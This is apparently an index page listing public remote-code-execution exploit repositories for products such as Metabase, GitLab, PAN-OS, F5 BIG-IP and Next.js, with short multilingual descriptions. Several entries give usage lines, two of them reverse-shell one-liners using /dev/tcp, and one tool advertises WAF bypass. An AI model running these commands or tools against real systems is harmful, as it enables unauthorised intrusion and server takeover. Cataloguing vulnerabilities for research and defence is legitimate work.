CVE-2023-38646

CVE-2023-38646 Metabase RCE sin autenticación 26/11/2023 Metabase open source anterior a 0.46.6.1 y Metabase Enterprise anterior a 1.46.6.1 permiten a los atacantes ejecutar comandos arbitrarios en el servidor, al nivel de privilegio del servidor. No se requiere autenticación para la explotación...

Langflow-CVE-2025-3248-Multi-target

⚠️ Escáner de Explotación RCE de Langflow CVE-2025-3248 Este escáner basado en Python automatiza la detección de vulnerabilidades de Ejecución Remota de Código RCE sin autenticación en instancias de Langflow a través de CVE-2025-3248. Utiliza un payload de prueba de concepto que abusa del endpoint...

CVE-2026-26119

CVE-2026-26119 WAC RCE - CVE-2026-26119 RCE autenticado en Windows Admin Center mediante WinREST/PowerShell invokeCommand. Uso: python3 wacrce.py "" WACPASS= python3 wacrce.py Entorno: WACBASE - override target base URL default below WACPASS - password, used if not passed positionally...

CVE-2023-24706

CVE-2022-24706 Apache CouchDB 远程命令执行漏洞poc...

CVE-2021-22205

Impacto de la Vulnerabilidad Se ha descubierto un problema en GitLab CE/EE que afecta a todas las versiones a partir de la 11.9. GitLab no validaba correctamente los archivos de imagen que se pasaban a un analizador de archivos, lo que resultó en una ejecución remota de comandos. Producto...

CVE-2023-34960

ChamiloCVE-2023-34960-EXP Help: usage: CVE-2023-34960.py -h -u URL -f FILE -c COMMAND options: -h, --help show this help message and exit -u URL, --url URL Full URL address http/https -f FILE, --file FILE Batch URL file -c COMMAND, --command COMMAND Execute command, optional Examples: Single URL...

CVE-2025-47812

🚀 Wing FTP Exploit - CVE-2025-47812 Enhanced exploit for Wing FTP Server CVE-2025-47812 - Unauthenticated Remote Code Execution RCE 🔧 Installation Clone this repository and enter the directory: git clone https://github.com/0xjuarez/CVE-2025-47812.git cd CVE-2025-47812 pip install -r...

CVE-2024-3400

CVE-2024-3400 漏洞 描述 CVE-2024-3400 是一个影响 PAN-OS 防火墙 10.2、11.0 和 11.1 版本的安全漏洞。当 GlobalProtect 网关配置和设备遥测功能启用时，该漏洞会被利用。攻击者可借此漏洞执行恶意命令，危及系统安全。 技术细节 CVE : CVE-2024-3400 受影响产品 : PAN-OS 防火墙版本 10.2、11.0 和 11.1 影响 : 远程命令执行，系统安全受损。 复现步骤 1. 确保 PAN-OS 防火墙上的 GlobalProtect 网关配置和设备遥测功能已启用。或使用...

CVE-2022-25060

CVE-2022-25060 Este script explota una vulnerabilidad de ejecución remota de comandos en el componente oalstartPing del router TPLink WR840N...

-CVE-2025-59528-PoC

CVE-2025-59528-PoC SOLO CON FINES EDUCATIVOS Un sencillo script de Python para explotar CVE-2025-59528, una vulnerabilidad de RCE autenticada en la aplicación Flowise, una popular herramienta de IA, que también forma parte de un desafío estacional de HTB, en el que lo probé, por cierto. Si no...

CVE-2009-4623

Advanced Comment System 1.0 - Ejecución Remota de Comandos RCE https://nvd.nist.gov/vuln/detail/CVE-2009-4623 Ejemplos python3 exploit.py http://127.0.0.1 uname -a python3 exploit.py http://127.0.0.1 'bash -i & /dev/tcp/127.0.0.1/443 0&1'...

CVE-2025-53770

Laboratorio de investigación CVE-2025-53770 Este repositorio parece ser un proyecto de investigación de prueba de concepto para validar un problema de deserialización y procesamiento de ToolPane de estilo SharePoint en un laboratorio controlado. Incluye un controlador Python, una aplicación...

CVE-2020-14882

CVE-2020-14882 CVE-2020-14882 描述 Oracle Fusion Middleware的Oracle WebLogic Server产品中存在漏洞（组件：控制台）。受影响的支持版本包括10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0和14.1.1.0.0。该漏洞易于利用，未经身份验证的攻击者可通过HTTP网络访问破坏Oracle WebLogic Server。成功利用此漏洞可能导致Oracle WebLogic被接管 差异 对于12.2.1之前的Oracle...

nfsen-exploit

nfsen-exploit Exploit para CVE-2017-6971: ejecución remota de comandos en nfsen 1.3.7. Probado en Ubuntu, probablemente funciona en todo Vulnerabilidad descubierta por Paul Taylor/Foregenix Ltd Uso: python exploit.py Esto genera un shell de nivel root en la máquina remota...

CVE-2022-1388

CVE-2022-1388 影响 此漏洞可能允许未经身份验证的攻击者通过网络访问BIG-IP系统的管理端口和/或自IP地址，执行任意系统命令、创建或删除文件或禁用服务。不存在数据平面暴露；这仅是一个控制平面问题。 使用 ./CVE-2022-1388.sh 受影响的产品 F5 BIG-IP 16.1.0 - 16.1.2 F5 BIG-IP 15.1.0 - 15.1.5 F5 BIG-IP 14.1.0 - 14.1.4 F5 BIG-IP 13.1.0 - 13.1.4 F5 BIG-IP 12.1.0 - 12.1.6 （将不会修复） F5 BIG-IP 11.6.1 - 11.6...

CVE-2020-7247

CVE-2020-7247 该漏洞存在于OpenBSD的邮件服务器OpenSMTPD的“smtpmailaddr”函数中，影响OpenBSD 6.6版本。攻击者可利用该漏洞以root用户身份执行任意shell命令，例如“sleep 66”。 如何使用？ python3 getShell.py 如果需要反弹shell，可以这样运行： python3 getShell.py 'bash -c "exec bash -i & /dev/tcp/IP/PORT &1"' 重要提示 根据实际情况修改此利用脚本中的某些内容，如RCPT to等（如有需要）。 更多详细解释请参阅这篇文章：...

CVE-2022-46169

CVE-2022-46169 CVE-2022-46169 是 Cacti（一款网络监控与管理软件）中发现的一个安全漏洞。该漏洞允许攻击者发送特制的 HTTP 请求，在无需认证的情况下远程利用系统。利用此漏洞，攻击者可以在目标系统上执行任意系统命令。这带来了重大风险，使得未经授权的个人能够控制受影响系统，并可能以高权限实施恶意活动。该漏洞位于 remoteagent.php 中。解决方案是升级到 Cacti 1.2.23、1.3.0 或更高版本。...

CVE-2025-56803

CVE-2025-56803 Figma桌面应用程序中的插件执行OS命令注入漏洞 1. 概述 应用程序 ：Figma桌面应用程序 版本 ：125.6.5 供应商 ：Figma, Inc. CWE ：CWE-78：OS命令中特殊元素的不当中和（'OS命令注入'） CVSS ：8.4 向量字符串 ：CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 2. 摘要 Figma桌面应用程序（v125.6.5）在插件加载器中存在命令注入漏洞。...

CVE-2025-55182-poc-tool

CVE-2025-55182-poc-tool 一个强大的利用工具，用于检测和利用 Next.js React Server Components 中的 CVE-2025-55182 漏洞。该工具允许在存在漏洞的 Next.js 应用程序中远程执行命令（RCE），并内置了 WAF 绕过功能 。 概述 CVE-2025-55182 是 Next.js React Server Components 中的一个高危漏洞，允许远程攻击者在存在漏洞的服务器上执行任意命令。该工具提供了一种自动化的方式来检测和利用此漏洞。 特性 远程命令执行：在存在漏洞的 Next.js 服务器上执行任意命令 WAF...

paint2die

Exploit más simple y fiable de RichFaces Paint2DResource CVE-2018-12533 RF-14310 Instalación • Uso • Ejecutar Paint2Die Instrucciones de instalación git clone https://github.com/LucasKatashi/paint2die.git cd paint2die chmod +x paint2die.py pip install -r requirements.txt Uso ./paint2die -h Esto...